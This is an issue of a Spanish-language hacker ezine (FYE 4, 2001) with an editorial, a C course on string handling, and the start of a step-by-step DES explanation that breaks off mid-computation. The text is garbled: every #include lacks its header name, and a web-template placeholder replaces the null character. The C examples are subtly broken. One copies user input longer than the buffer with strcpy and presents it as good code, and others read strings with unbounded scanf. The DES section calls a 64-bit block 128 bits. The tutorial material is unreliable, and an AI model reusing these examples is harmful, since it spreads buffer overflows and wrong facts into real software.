Curso de C IV, Encriptacion DES, Get Connected - xDSL/ISDN/HFC, Samba, Linux fundamental II, Linux Networking, IRC Bots, Bouncers, Un Caso de la Vida Real: NT, Firewall & ipchains, DEC Server, QuickTip: SMS/Nokia/Smartcom, Desbloqueo de PSX2, Crackeando win98 Setup, Eliminando Sub7, Programacion de Sockets, Cocinando con Chris McKinstry.....
Texto Completo:
()()()()()()() ()()() ()()() ()()()()()()()
()()()()()()() ()()() ()()() ()()()()()()()
()()()()()()() ()()() ()()() ()()()()()()()
()()() ()()()()()() ()()()
()()()()() ()()()()() ()()()()()
()()()()() ()()()() ()()()()()
()()() ()()() ()()()
()()() ()()() ()()()()()()()
()()() ()()() ()()()()()()()
()()() ()()() ()()()()()()()
>>>>>>>----------------------[ Numero 4 01.01.2001 ]--------------------<<<<<<<
Antofagasta, Chile
MANIFIESTO 0.2
FYE es una ezine escrita por los integrantes de 350cc, quienes tratamos
de aportar con algo a la escena de habla hispana. Aqui no alejamos a nadie
por preguntar, pues el hecho de preguntar es la escencia misma del
aprendizaje, y aprender debe ser a nuestro parecer la meta diaria . Aqui
hay entusiastas no sabelotodos, aqui hay curiosos, no criminales.
La informacion aqui entregada tiene como fin el de mostrar como funcionan
los sistemas, pues , la curiosidad es lo que nos mueve y la informacion es
nuestra reconpensa.
80:
http://www.350cc.com
110:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
7000:
irc.terra.cl #FYE
Editor & Webmasta:
NDR113 [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Former Editor:
ThEye [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Staff Permanente:
Ytrium [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
To4s7 [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Invitados:
GengisKAN [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
S0ul [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Colaboradores:
ViC3nT BlaCk
CybeR
MoeBiuS
[BuRToN]
Kasiki
Links
http://www.0wn3d.f2s.com -----------------------------------------<0wn3d>
http://www.box.sk-------------------------------------------
http://www.cdlr.org -----------------------------------------
http://www.mindpixel.com -------------------------------------
http://www.zine-store.com.ar --------------------------------
Quotes
"... the best operation system is no operation system..." - Chris McKinstry
"... nunca me he arrodillado ante nadie..." - SE Ricardo Lagos
"We don't use the world "internet" in 2020. People will simply talk about
the information itself." - Tim Berners Lee
---------------------------------------------------------------[INGREDIENTES]
01.Editorial...............................................by NDR113
02.Curso de C (IV).........................................by ThEye
03.Encriptacion DES........................................by Kasiki
04.Get Connected - xDSL/ISDN/HFC...........................by NDR113
05.SAMBA...................................................by GengisKAN
06.Linux Fundamental (II)..................................by NDR113
07.Linux Networking........................................by To4s7
08.IRC BOTS................................................by ThEye
09.Bouncers................................................by Kasiki
10.Un Caso de la Vida Real: NT.............................by NDR113
11.Firewall & IP Chains....................................by ViC3nT BlaCk
12.DEC Server..............................................by ThEye
13.QuickTip: SMS/Nokia/Smartcom............................by NDR113
14.Desbloqueo de PSX2......................................by [BuRToN]
15.Crackeando Win98 Setup..................................by MoeBiuS
16.Eliminando Sub7.........................................by CybeR
17.Programacion de Sockets.................................by Ytrium
18.Cocinando con Chris McKinstry...........................by NDR113
19.Quien es Quien..........................................by ThEye
20.Hacia donde vamos?.....................................by NDR113
21.Must See, Must Read.....................................by NDR113
22.Shutdown................................................by NDR113
* Se recomienda visualizar esta ezine con un editor ASCII a 80 columnas
** Reclamos e Informaciones a: (56) 600600900
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
[NDR113@350cc]#cat /home/NDR113/editorial.fye
Saludos a nuestros lectores. Luego de postergacion tras postergacion FYE4
ha salido a la luz. Esta de mas pedir disculpas por el retraso de la publi-
cacion. Ahora ya lo problemas parecen haberse solucionados y 350cc les trae
FYE en su cuarta edicion, esta ves con su humilde servidor de Editor -a los
fans de ThEye, no se preocupen, el vuelve XD-. Las estrellas de esta entrega
son algunos articulos tecnicos sobre OS como DEC Server y NT, y por su puesto
la entrevista q realizamos a Chris McKinstry, un canadiense avencidado en
Chile, q trabaja para la ESO -European Southern Observatories- operando el
VLT -El complejo de telecospios mas grande del mundo-. Ademas de su tremanda
y reconocida experticia en el manejo informatico - basta decir que estuvo
dando conferencia en H2K el evento hack organizado por la revista 2600-,
Chris trabaja en un proyecto sobre inteligencia artificial y
recientemente ha publicado su libro Hacking Consciousness. Espero q disfruten
esta entrevista a un personaje de la escena mundial que nos demuestra
como el hacking es mas que informatica. El convirtio su vida en una
exploracion constante, expandiendo horizontes en una gran variedad de campos
antes no conocidos...
Tambien hemos incluido en esta edicion pequeos cambios a nuestra linea
editorial, como son los articulos "Adonde vamos?" y "Quien es Quien". Estos
son ensayos o reflexiones que 350cc hace sobre el presente y futuro de la
informatica y las implicaciones que tiene en nuestras vidas y el futuro.
Esperaremos su reaccion para ver como continuamos adelante con los cambios q
realizaremos en FYE. Ademas aadimos algo de buena lectura y cine en las
guias "Must See, Must Read".
Queremos refedinirnos y redefinir -aun que suena ambicioso o incluso
petulante- lo que es una ezine under. Realmente solamente es codigo y exploit
nuestros intereses? Creemos que no. Somos personas q compartimos un
entusiasmo con la tecnologia, pero no somos ajenos de las consecuencias que
su uso trae ni del mundo que enmarca su desarollo.
Porque disfrutamos programando, o escudriando o simplemente explorando, los
queremos invitar a ir mas alla y expandir el horizonte de lo que es realmente
el hacking. Quizas suena pretenciosos para algunos, pero ser hacker, no es
sinonimo de ser elite o ser un maestro, ser hacker es querer aprender,
y explorar y mas que nada pensar lo que quizas otros no imaginan, no
limitandonos al campo de la informatica, si no mas bien, entregandose a una
vida llena de constates sorpresas intelectuales.
Quiero darles las gracias a todos los que nos soportaron, ayudaron y espera-
ron. A quienes nos dejaron, la mejor de las suertes.
Finalmente gracias a mi princesa por estar siempre a mi lado.
NDR113
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< CURSO de C (parte IV) >>>--------------------------[ by ThEye ]-----=>
Holaz por cuarta vez en este cursillo de C que vengo escribiendo desde el
primer numero.En esta entrega veremos los manejos de cadenas de caracteres.
Tambien haremos una revista completa de las librerias de C
(esos archivos .h por si no se acuerdan ;D ).Antes de empezar quisiera dejar
en claro que el compilador que uso para comprobar el funcionamiento de los
ejemplos aca descritos es el gcc que viene en toda distribucion de Linux.Para
otros compiladores (por ejemplo compiladores de DOS) deberan ,talvez, cambiar
algo de los codigos o incluir los headers correspondientes si es que no los
tienen.
.-=-.Archivos cabeceras ( *.h ).-=-.
He decidido incluir en esta ocasion una breve descripcion de los headers
de C , ya que estos son archivos muy importantes por lo tanto deben saber mas
menos que es lo que aportan cada uno de ellos,ademas en esta entrega del
curso comenzamos a usar por primera vez headers diferentes al stdio.h.
Como ya muchos saben,la biblioteca estandar no es parte del lenguaje C
propiamente tal,sino que forman parte los llamados headers o cabeceras.Un
programa en C siempre declarara estos headers para asi poder hacer uso de la
biblioteca sin problemas.Macros,funciones y tipos estan declarados en los
headers,ahora veamos algo sobre ellos.
Para declarar un header y hacer uso de el debemos declararlo en el
codigo con una linea de la forma #include ,no hay un orden definido
para la declaracion y deben estas expresiones estar fuera de toda declaracion
o definicion externa y antes de declarar cualquier otra cosa.
1. Entrada y salida
La mas importante y la primera de la que se hace uso.Como ya hemos visto
en las entregas anteriores,omitir este header es casi imposible ya que desde
que empezamos a conocer el lenguaje C hacemos uso de el.Todas las macros,
funciones y tipos de entrada y salida estan definidas en este header.Funciones
tan comunes como printf estan declaradas en este header.Otras que sirven para
manipular archivos como son FILE o para la entrada con formato como fscanf
estan tambien declaradas en stdio.h .
2. Pruebas de clasificacion de caracteres
Este header declara las funciones necesarias para la prueba de caracteres.
Para cada funcion,su argumento es un int que debe tener valor EOF o debe poder
ser representado por un unsigned char,y el valor retornado es un int.Estas
funciones devuelven un valor distinto a cero si el argumento satisface la
condicion dad e igual a cero si no lo hace.
Veamos algo como ejemplo...
Las funciones:
int tolower(c)
int toupper(c)
convierte a c en minuscula y mayuscula respectivamente.Si c es mayuscula,
tolower nos dara la correspondiente minuscula o lo dejara igual si ya es
minuscula,lo mismo hace toupper pero al reves.
3. Funciones para cadenas
Existen dos tipos de funciones declaradas en string.h,unas que empiezan
por str y otras que empiezan por mem.Veamos algunas de las funciones str:
strcpy --> copia una cadena en otra
strncpy --> copia hasta n caracteres de una cadena en otra
strcat --> concatena cadenas (copia una al final de la otra)
strncat --> concatena cadenas hasta el n caracter (el n caracter se define en sus argumentos)
strcmp --> compara cadenas
strncmp --> compara cadenas hasta el n caracter
strchr --> regresa un apuntador a la primera ocurrencia de un caracter en cadena
strrchr --> regresa un apuntador a la ultima ocurrencia de un caracter en cadena
strspn --> regresa la longitud del prefijo de la cadena que son los caracteres en la otra cadena
strcspn --> regresa la longitud del prefijo de la cadena que son los caracteres que no estan en la otra cadena
strpbrk --> regresa un apuntador a la primera ocurrencia en la cadena de cualquier caracter en la otra cadena.
strstr --> regresa un apuntador a la primera ocurrencia de la cadena en la otra.
strlen --> regresa la longitud de la cadena
strerror --> regresa un apuntador a una cadena definida por la implantacion,correspondiente al error n (n esta definido como argumento de strerror)
las funciones mem no seran explicadas en esta entrega por lo tanto no las
nombrare en esta revision.
4. Funciones matematicas
Este declara funciones y macros matematicas.Funciones de este header son
algunas como las siguientes:
sin (x) seno de x
cos (x) coseno de x
tan (x) tangente de x
exp (x) funcion exponencial ( f(y) = e^x )
log (x) logaritmo natural de x ( ln x )
log10 (x) logaritmo en base 10 de x ( log x )
fabs (x) valor absoluto de x
x es un double y todas estan funciones regresan un double.
5. Funciones de utilerias
Declara funciones de asignacion de memoria y conversion de memoria.Por
ejemplo en conversion numerica existe atoi cuya sintaxis es:
int atoi(const char *s)
y lo que hace es convertir el char s en entero (int).En cuanto a asignacion
de memoria existen malloc y free como los principales.El primero asigna
espacio en memoria mientras que el segundo la libera.
6. Diagnosticos
Agrega diagnosticos a un programa.Se usa de la sig. forma:
void assert(int expresion)
si expresion es cero cuando se hace assert (expresion) assert realiza su
trabajo escribiendo en stderr un mensaje de error.
7. Funciones de fecha y hora
Aca estan declarados los tipos y funciones para manipulacion de la fecha
y la hora.No ahondaremos en sus funciones en esta edicion.
8. Limites definidos en la implantacion y
define constantes para el tamao de los tipos enteros.
Los valores que aqui mostraremos (solo algunos,no el total) son la magnitud
minima aceptable,se pueden usar valores mayores.
CHAR_BIT 8 bits de un char
INT_MAX +32767 valor maximo de int
INT_MIN -32767 valor minimo de int
Estos otros valores corresponden a la tabla ,ellos son
constantes relacionados con la aritmetica de punto flotante.
FLT_EPSILON 1E-5 menor numero tal que 1.0 + x != 1.0
FLT_MAX 1E+37 maximo numero de punto flotante
DBL_MAX 1E+37 maximo double de punto flotante.
Por supuesto existen muchos mas headers,pero no sirve de nada mostrarlos
ya que aun estamos en un nivel basico dentro del curso.
.-=-.Manejo de Cadenas de Caracteres.-=-.
En C las cadenas es una seguidilla de caracteres que terminan con un
caracter nulo.Para poder utilizar las funciones que las manejan debemos
incluir el header string.h,y para manipular los caracteres usaremos ctype.h .
Para declarar una cadena se hace de la siguiente forma:
char texto[longitud]
Ahora hablaremos de las funciones que nos aporta la cabecera string.h
para la manipulacion de las cadenas.
(1) strlen : longitud de la cadena sin el caracter final nulo.La forma
de usarla es la siguiente:
size_t strlen (const char *cadena);
(2) strcpy : Forma de usarla:
char *strcpy (char *cadena1 ,const char *cadena2);
Copia cadena2 en cadena1 , por lo tanto cadena1 debe ser lo
suficientemente grande como para contenerla. cadena2 acaba
en caracter nulo ( '{jumi [*3] [http://www.govannom.org/e-zines/fye/fye4.txt]}' ) .
(3) strcat : Copia cadena2 al final de cadena1 a~adiendo el caracter nulo
al final.Cadena1 debe tener espacio suficiente como para
contener a cadena2.Forma de usarla:
*strcat (char *cadena1 ,const char *cadena2);
(4) strcmp : Sirve para comparar dos cadenas entregandonos como resultado
0 si las dos cadenas son iguales , menor que cero si cadena1
va antes que cadena2 y mayor que cero si cadena1 va antes que
cadena2.Forma de usarla:
int strcmp (const char *cadena1, const char *cadena2)
(5) sprintf: Es parecido a printf,pero en vez de mostrar el texto en la
pantalla lo guarda en una variable (destino).El valor
que devuelve int es el numero de caracteres guardados en la
variable destino.La forma de usarlo es:
int sprintf (char *destino, const char *formato, ...);
Hay mas funciones pero como que estas son las mas importantes....
Veamos ahora algunos ejemplos de codigos que usan estas funciones:
(1) strlen
------
#include
#include /* como pueden notar usamos este header ya que strlen se
utiliza en el codigo */
int main()
{
char txt[30]; /* declaramos la cadena con el nombre de txt y una longitud maxima de 30 caracteres */
int longitud; /* declaramos longitud como un entero */
printf("Escribe algo de a lo menos 30 caracteres\n");
scanf("%s",&txt); /* obtenemos la cadena introducida por el user y la asignamos a txt */
longitud=strlen(txt); /* aca hacemos que longitud contenga el valor numerico de la logitud de txt */
printf("La cadena %s tiene una longitud de %d caracteres.\n",txt,longitud);
}
codigo simple y claro, alguna pregunta ? ... NO? ok sigamos con strcpy ....
(2) strcpy
------
#include
#include
int main()
{
char mula[]="La U"; /* declaramos la cadena mula con el texto La U :D de ,OJO,
4 caracteres de longitud */
char escierto[20]; /* declaramos la cadena escierto con 20 caracteres de longitud maximo */
printf("Dime que piensas de la U\n");
scanf("%s",&escierto);
strcpy(mula,escierto); /* copiamos escierto sobre mula */
printf("Nuevo valor contenido en la cadena mula= %s\n",escierto);
}
otro codigo bueno,bonito y barato, alguien tiene alguna duda ? ... NO? :D
(3) strcat
------
#include
#include
int main()
{
char calla[50]; /* declaramos calla con 50 caracteres de longitud,si la frase resultante es mayor que 50 caracteres la frase sera escrita hasta el caracter 50
*/
char nick[50];
printf("Dime tu nombre\n");
scanf("%s",&nick);
bzero(calla,50);
strcat( calla, "CALLA " );
strcat( calla, nick );
strcat( calla, " !!!! :D" );
printf( "%s\n", calla );
}
jejejeje...buen programa ;D .
NOTA: La funcion bzero la use para rellenar con 0's la variable calla.Esto
lo hice para que esta variable no contubiera basura y mostrara
caracteres raros.
(3) strcmp
------
#include
#include
int main()
{
int i;
char cadena1[50];
char cadena2[50];
printf("Di algo\n");
scanf("%s",&cadena1);
printf("Di otra cosa\n");
scanf("%s",&cadena2);
i=strcmp(cadena1,cadena2);
if(i<0)
printf("cadena2 es mayor que cadena1\n");
else if(i==0)
printf("cadena1 es igual a cadena2\n");
else
printf("cadena1 es mayor que cadena2\n");
}
codigo extremadamente simple...
(4) sprintf
-------
#include
#include
int main()
{
char sox[50];
char nick[50];
char descripcion[]="s0x";
printf("Dame un nombre\n");
scanf("%s",&nick);
sprintf( sox, "%s %s", nick, descripcion );
printf( "%s !!!!!\n", sox );
}
Bueno,hasta aca el curso va bastante bien,pero ya debemos empezar a
escribir programas utiles, free software r0x!!!!.
Los invito a todos a escribir programas buenos y que sirvan,como por
ejemplo programas matematicos, o utilidades varias,etc.
En la proxima entrega de este curso seguiremos aprendiendo algunas cosas
y la vez empezaremos a escribir software util para que este curso empieze a
rendir sus frutos. No necesariamente seran programas de hack,recuerden que el
hack no lo es todo en la vida, de hecho es casi nada desde mi punto de vista...
pero bueno...
Eso seria todo en esta entrega del curso,espero que les haya gustado,y
disculpen por la corta extension de este articulo,lo que sucede es que lo
estoy escribiendo con el tiempo pisandome los talones.
Nada mas por ahora :)
[BIBLIOGRAFIA]
El Lenguaje C - Brian W. Kernigham , Dennis M. Ritchie
Salu2
ThEye <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Encriptacion DES >>>-------------------------------[ by Kasiki ]-----=>
Introduccin:
1.- Introduccin al algoritmo DES
2.- Historia
3.- Ejemplo Preliminar
4.- Como funciona DES
5.- Modos de operacin DES
6.- Atacando y rompiendo el DES
7.- DES-Triple
8.- Referencias
9.- Despedida
Kiu, aqui estoy con mi 1er aporte para la ezine, en este articulo se tratar
de explicar que es el algoritmo DES la historia de ste como funciona etc...
No los aburro mas y nos vamos al articulo.
1.- Algoritmo DES?
Es un algoritmo para la encriptacin, DES significa Data Encription Standard
ste algoritmo es uno de los ms utilizados en todo el mundo...
Hoy en da este algoritmo es crackeable con el John Ripper y otras utilidades
que andan por ah.
Este algoritmo seguira siendo utilizado gracias a una variante muy sencilla
del DES que alarga la vida til de este algoritmo: el "DES-Triple"
2.- Historia:
En el mes mayo de 1973, durante la administracin de Richard Nixon, la National
Bureau of Standards (Oficina Nacional de Estndares o NBS por sus siglas en
ingls) public una solicitud de propuestas para algoritmos criptogrficos
para proteger la transmisin y almacenamiento de datos. Adems solicitaba
tcnicas para implementar la funcin criptogrfica:
Para generar, evaluar y proteger llaves
Para mantener archivos encriptados bajo llaves expiradas
Para realizar actualizaciones parciales a archivos encriptados
Para mezclar datos encriptados y claros para etiquetacin, ruteo, etc...
La NBS esper, pero no hubo respuestas, al menos no inicialmente. Fue hasta el
6 de agosto de 1974 que la IBM entreg su algoritmo candidato. Este algoritmo,
conocido internamente en la IBM con el nombre cdigo de "LUCIFER", fue evaluado
por la NBS y adoptado con una modificacin como el nuevo Estndar de
Encriptamiento
de Datos (Data Encription Santdard o DES) hasta el 15 de julio de 1977 [NBS77].
Este algoritmo fue desarrollado por IBM... 1ero sali LUCIFER sin ntes haber
pasado por hartas reviciones hasta concluir con una revision liberada en 1971.
IBM estaba listo para comenzar la comercializacin masiva en 1974 cuando se
public la solicitud de la NBS (Oficina Nacional de Estndares). La NSA, encargada
del espionaje de las comunicaciones de todo el mundo, se preocup por el prospecto
de tener que lidiar con un paquete comercial que superaba su capacidad de
anlisis,
dato conocido gracias a su participacin en su desarrollo. Fue de esta manera
que la NSA negoci con IBM para disminuir la llave del algoritmo presentado de
128 bits a 56 y a clasificar como secretos ciertos detalles de la seleccin de
las frmulas que realizaban las transformaciones. El algoritmo presentado es,
bajo un enfoque prctico, una versin debilitada de LUCIFER.
Despus de una largo debate pblico donde el algoritmo fue atacado por
universidades
como Stanford y compaas como la Bell Telephone Company, la cuestin fue
investigada
por el Comit de Inteligencia del Senado. Este comit sospechosamente no encontr
razones para exigir un reforzamiento del algoritmo. [Bam83] [DiH77] [Hel79]
Asi fue que, a la vuelta de un par de aos, DES ya haba sido adoptado
comercialmente.
El primer ejemplo publicado fue el de International Flavors and Fragrances que
protega sus frmulas transmitidas por telfono con este algoritmo. (Ver "With
Data
Encryption, Scents Are Safe at IFF," Computerworld 14, No. 21, 95 , 1980).
La industria bancaria, el mayor usuario de algoritmos de encriptamiento fuera
del gobierno, adopt el DES como un estndar. Este estndar, publicado por la
ANSI (American National Standard Institute), es conocido como el ANSI X3.92,
fue adoptado en 1980 y especifica el DES.
3.- Ejemplo preliminar
DES trabaja encriptando grupos de 64 bits, es decir, sobre 16 nmeros
hexadecimales.
Para hacer la encriptacin, DES utiliza llaves que son aparentemente de 64 bits.
Sin embargo, cada octavo bit es ignorado, por lo cual la llave efectiva es de
56 bits. De cualquier manera, 64 bits son el nmero alrededor del cual se organiza
el DES.
Pongamos primeramente este ejemplo: si encriptamos el texto "8787878787878787",
con la llave DES "0E329232EA6D0D73", obtendremos el texto codificado
"0000000000000000".
El proceso inverso (desencriptamiento) con la misma llave nos da como resultado
el texto original: "8787878787878787".
Este ejemplo es muy sencillo debido a que nuestro texto mide exactamente 128 bits.
Pero la mayora de los mensajes no medirn 64 bits o sern de una longitud
mltiplo
de este nmero. Para estos casos, es necesario rellenar con ceros hasta llegar
a un mltiplo de 64 bits.
4.- Como funciona DES en detalle?
DES es un cifrador en bloque, lo que quiere decir que trabaja en bloques de
texto de determinado tamao (en este caso 64 bits) y regresa bloques del mismo
tamao. De esta manera DES resulta en una permutacin de las 264 posibles
distribuciones de esos 64 bits. Cada bloque de 64 bits es dividido en dos
bloques de 32 bits cada uno denominados L y R (izquierdo y derecho, por las
siglas en ingles.) Esta divisin se utiliza en ciertas operaciones.
Sea M el mensaje principal M = 0123456789ABCDEF donde M se encuentra en formato
hexadecimal. Al cambiar M a formato binario obtenemos el bloque de 64 bits:
M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110
1111
L = 0000 0001 0010 0011 0100 0101 0110 0111
R = 1000 1001 1010 1011 1100 1101 1110 1111
DES opera sobre en los bloques de 64 bits utilizando llaves de 56 bits. Las
llaves son guardadas como si utilizaran 64 bits pero cada octavo bit es ignorado.
Es decir, los bits 8, 16, 24, 32, 40, 48, 56 y 64. Sin embargo, seguiremos
denominando a los bits del 1 al 64. Los bits sobrantes sern eliminados cuando
creemos subllaves.
Supongamos que K es la llave hexadecimal K = 133457799BBCDFF1. Transformndola
a notacin binaria (1 = 0001, 3 = 0011, etc.) y agrupando cada 8 bits, veremos
que el ltimo bit no ser utilizado:
K = 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001
Ahora sigamos los pasos del algoritmos:
Paso 1: crear 16 subllaves cada una de las cuales mide 48 bits.
La llave de 64 bits es permutada de acuerdo a la siguiente tabla, PC-1.
Puesto que la primera entrada en la tabla es "57", esto quiere decir que el
bit de la posicin 57 de la llave original se convierte en el primer bit de
la llave permutada K+. El bit 49 se convierte en el segundo bit, etc. Note
que solo se utilizan 56 bits y faltan precisamente las posiciones mltiplos
de 8.
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
21 13 5 28 20 12 4
PC-1
De la llave original de 64 bits
K = 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001
Obtenemos la permutacin:
K+ = 1111000 0110011 0010101 0101111 0101010 1011001 1001111 0001111
Ahora separemos la llave en sus dos mitades, C0 y D0, donde cada mitad tiene
28 bits.
C0 = 1111000 0110011 0010101 0101111
D0 = 0101010 1011001 1001111 0001111
Con C0 y D0 definidos, ahora podemos crear 16 bloques Cn y Dn, 1<=n<=16.
Cada par de bloques Cn y Dn esta formado del par previo Cn-1 y Dn-1,
respectivamente, para n = 1, 2, ..., 16, utilizando el siguiente esquema de
corrimientos a la izquierda del bloque previo. Para hacer un corrimiento a la
izquierda, mover cada bit un lugar a la izquierda, excepto por el primer bit,
el cual es ciclado al final del bloque.
Esto quiere decir que, por ejemplo, C3 y D3 son obtenidos de C2 y D2,
respectivamente, por dos corrimientos izquierdos, y C16 y D16 son obtenidos
de C15 y D15, respectivamente por un corrimiento izquierdo. En todos los casos,
por un solo corrimiento izquierdo se quiere decir una rotacin de los bits un
lugar a la izquierda, de tal manera que despus de un corrimiento izquierdo
en las 28 posiciones los bits quedan en las posiciones 2, 3,..., 28, 1.
C0 = 1111000011001100101010101111
D0 = 0101010101100110011110001111
C1 = 1110000110011001010101011111
D1 = 1010101011001100111100011110
C2 = 1100001100110010101010111111
D2 = 0101010110011001111000111101
C3 = 0000110011001010101011111111
D3 = 0101011001100111100011110101
C4 = 0011001100101010101111111100
D4 = 0101100110011110001111010101
C5 = 1100110010101010111111110000
D5 = 0110011001111000111101010101
C6 = 0011001010101011111111000011
D6 = 1001100111100011110101010101
C7 = 1100101010101111111100001100
D7 = 0110011110001111010101010110
C8 = 0010101010111111110000110011
D8 = 1001111000111101010101011001
C9 = 0101010101111111100001100110
D9 = 0011110001111010101010110011
C10 = 0101010111111110000110011001
D10 = 1111000111101010101011001100
C11 = 0101011111111000011001100101
D11 = 1100011110101010101100110011
C12 = 0101111111100001100110010101
D12 = 0001111010101010110011001111
C13 = 0111111110000110011001010101
D13 = 0111101010101011001100111100
C14 = 1111111000011001100101010101
D14 = 1110101010101100110011110001
C15 = 1111100001100110010101010111
D15 = 1010101010110011001111000111
C16 = 1111000011001100101010101111
D16 = 0101010101100110011110001111
Ahora formamos las llaves Kn, para 1<=n<=16, aplicando la siguiente tabla de
permutaciones a cada uno de los pares concatenados CnDn. Cada par tiene 56 bits,
pero PC-2 solo utiliza 48 de estos.
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53
46 42 50 36 29 32
PC-2
Por lo tanto, el primer bit de Kn es el 14avo bit de CnDn, el segundo bit el
17avo, y as en delante, terminando con el 48avo bit de Kn siendo el 32avo bit
de CnDn.
Para la primer llave tenemos
C1D1 = 1110000 1100110 0101010 1011111 1010101 0110011 0011110 0011110
La cual, tras aplicar la permutacin PC-2, se convierte en
K1 = 000110 110000 001011 101111 111111 000111 000001 110010
Para las dems llaves tenemos:
K2 = 011110 011010 111011 011001 110110 111100 100111 100101
K3 = 010101 011111 110010 001010 010000 101100 111110 011001
K4 = 011100 101010 110111 010110 110110 110011 010100 011101
K5 = 011111 001110 110000 000000 111111 110101 001110 101000
K6 = 011000 111010 010100 100111 110010 000111 101100 101111
K7 = 111011 001000 010010 010110 111111 100001 100010 111100
K8 = 111101 111000 101000 000111 010110 010011 101111 111011
K9 = 111000 001101 101111 111101 011111 011110 011110 000001
K10 = 101100 011111 001101 101000 111101 100100 011001 001111
K11 = 001000 010101 111111 010011 110111 101101 001110 000110
K12 = 011101 010111 000111 110101 100101 000110 011111 101001
K13 = 100101 111100 010111 010001 111110 101011 101001 000001
K14 = 010111 110100 001110 110111 111100 101110 011100 111010
K15 = 101111 111001 000110 001101 001111 010011 111100 001010
K16 = 110010 110011 110110 001011 000011 100001 011111 110101
Con esto terminamos las subllaves, ahora veremos el mensaje en s.
Paso 2: Codificar cada bloque de datos de 64 bits.
Existe una permutacin inicial PI de los 64 bits del mensaje M. Esto reacomoda
los bits de acuerdo a la siguiente tabla, donde las entradas en la tabla
muestran el nuevo acomodo de los bits de acuerdo a su orden inicial. El 58avo
bit de M pasa a ser el primer bit de PI. El 50avo bit de M pasa a ser el
segundo bit de PI. El sptimo bit de M es el ltimo bit de PI.
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7
PI
Aplicando la permutacin inicial al bloque de texto M, dado anteriormente,
obtenemos:
M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110
1111
PI= 1100 1100 0000 0000 1100 1100 1111 1111 1111 0000 1010 1010 1111 0000 1010
1010
Aqu el 58avo bit de M es "1", el cual se convierte en el primer bit de PI.
El 50avo bit de M es "1" y se convierte en el segundo de PI. El sptimo bit
de M es "0", el cual se convierte en el ltimo bit de PI
Ahora divide el bloque permutado PI en una mitad izquierda L0 de 32 bits y
una mitad derecha R0 de 32 bits.
L0 = 1100 1100 0000 0000 1100 1100 1111 1111
R0 = 1111 0000 1010 1010 1111 0000 1010 1010
Ahora procedemos a travs de las 16 iteraciones, para 1<=n<=16, usando una
funcin f que opera en dos bloques (un bloque de 32 bits y una llave Kn de
48 bits) para producir un bloque de 32 bits. Para n desde 1 hasta 16
calculamos:
Ln = Rn-1
Rn = Ln-1 f(Rn-1,Kn)
Donde es la operacin XOR
Esto resulta en un bloque final, para n = 16, de L16R16. Esto es, en cada
iteracin, tomamos los 32 bits derechos del resultado previo y los hacemos
los 32 bits izquierdos del paso actual. Para los 32 bits derechos en el paso
actual, aplicamos la operacin XOR a los 32 bits izquierdos del paso anterior
con la funcin f .
Para n = 1, tenemos
K1 = 000110 110000 001011 101111 111111 000111 000001 110010
L1 = R0 = 1111 0000 1010 1010 1111 0000 1010 1010
R1 = L0 + f(R0,K1)
Falta explicar el funcionamiento de la funcin f. Para calcular f, primero
expandimos cada bloque Rn-1 de 32 bits a 48 bits. Esto se hace utilizando una
tabla de seleccin que repite algunos de los bits en Rn-1 . Le llamaremos al
uso de esta tabla de seleccin funcin E. As E(Rn-1) tiene un bloque de
entrada de 32 bits y un bloque de salida de 48 bits.
Sea E tal que los 48 bits de su salida, escrita como 8 bloques de 6 bits cada
uno, sean obtenidos al seleccionar los bits en sus entradas en orden de acuerdo
a las siguientes tablas:
32 1 2 3 4 5
4 5 6 7 8 9
8 9 10 11 12 13
12 13 14 15 16 17
16 17 18 19 20 21
20 21 22 23 24 25
24 25 26 27 28 29
28 29 30 31 32 1
TABLA DE SELECCCIN
DE BITS E
As los primeros tres bits de E(Rn-1) son los bits de las posiciones 32, 1 y 2
de Rn-1 mientras que los dos ltimos 2 bits de E(Rn-1) son los bits de las
posiciones 32 y 1.
Calculamos E(R0) de R0 como sigue:
R0 = 1111 0000 1010 1010 1111 0000 1010 1010
E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101
(Note que cada bloque de 4 bits originales ha sido expandido a un bloque de
salida de 6 bits.)
Ahora calculamos la funcin f, haciendo un XOR con la salida E(Rn-1) junto
con la llave Kn:
Kn + E(Rn-1).
